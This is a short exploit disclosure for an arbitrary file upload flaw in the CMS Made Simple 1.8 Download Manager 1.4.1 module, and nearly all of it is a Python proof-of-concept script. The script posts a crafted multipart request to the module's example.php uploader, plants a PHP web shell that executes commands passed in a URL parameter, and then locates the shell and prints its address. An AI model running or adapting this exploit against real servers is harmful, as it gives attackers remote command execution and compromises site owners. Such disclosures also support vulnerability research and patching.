CMS Made Simple 1.8 Download Manager 1.4.1 Module Shell Upload

`# ------------------------------------------------------------------------  
# Software................CMS Made Simple 1.8 Download Manager 1.4.1 Module  
# Vulnerability...........Arbitrary Upload  
# Download................http://dev.cmsmadesimple.org/projects/downloadmanager  
# Release Date............7/11/2010  
# Tested On...............Windows Vista + XAMPP  
# ------------------------------------------------------------------------  
# Author..................John Leitch  
# Site....................http://cross-site-scripting.blogspot.com/  
# [email protected]  
# ------------------------------------------------------------------------  
#   
# --Description--  
#   
# An arbitrary upload vulnerability in CMS Made Simple 1.8 Download  
# Manager 1.4.1 Module can be exploited to upload a PHP shell.  
#   
#   
# --PoC--  
  
import socket, re  
  
host = 'localhost'  
path = '/cmsms'  
port = 80  
  
def upload_shell():  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
s.settimeout(8)   
  
s.send('POST ' + path + '/modules/DownloadManager/lib/simple-upload/example.php HTTP/1.1\r\n'  
'Host: localhost\r\n'  
'Proxy-Connection: keep-alive\r\n'  
'User-Agent: x\r\n'  
'Content-Length: 189\r\n'  
'Cache-Control: max-age=0\r\n'  
'Origin: null\r\n'  
'Content-Type: multipart/form-data; boundary=----x\r\n'  
'Accept: text/html\r\n'  
'Accept-Encoding: gzip,deflate,sdch\r\n'  
'Accept-Language: en-US,en;q=0.8\r\n'  
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'  
'\r\n'  
'------x\r\n'  
'Content-Disposition: form-data; name="file"; filename="shell.php"\r\n'  
'Content-Type: application/octet-stream\r\n'  
'\r\n'  
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'  
'------x--\r\n'  
'\r\n')  
  
resp = s.recv(8192)  
  
http_ok = 'HTTP/1.1 200 OK'  
  
if http_ok not in resp[:len(http_ok)]:  
print 'error uploading shell'  
return  
else: print 'shell uploaded'  
  
shell_path = path + '/modules/DownloadManager/lib/simple-upload/'\  
+ re.search(u'shell_[^.]+\.php', resp).group(0)  
  
s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\  
'Host: ' + host + '\r\n\r\n')  
  
if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'   
else: print 'shell located at http://' + host + shell_path  
  
upload_shell()  
`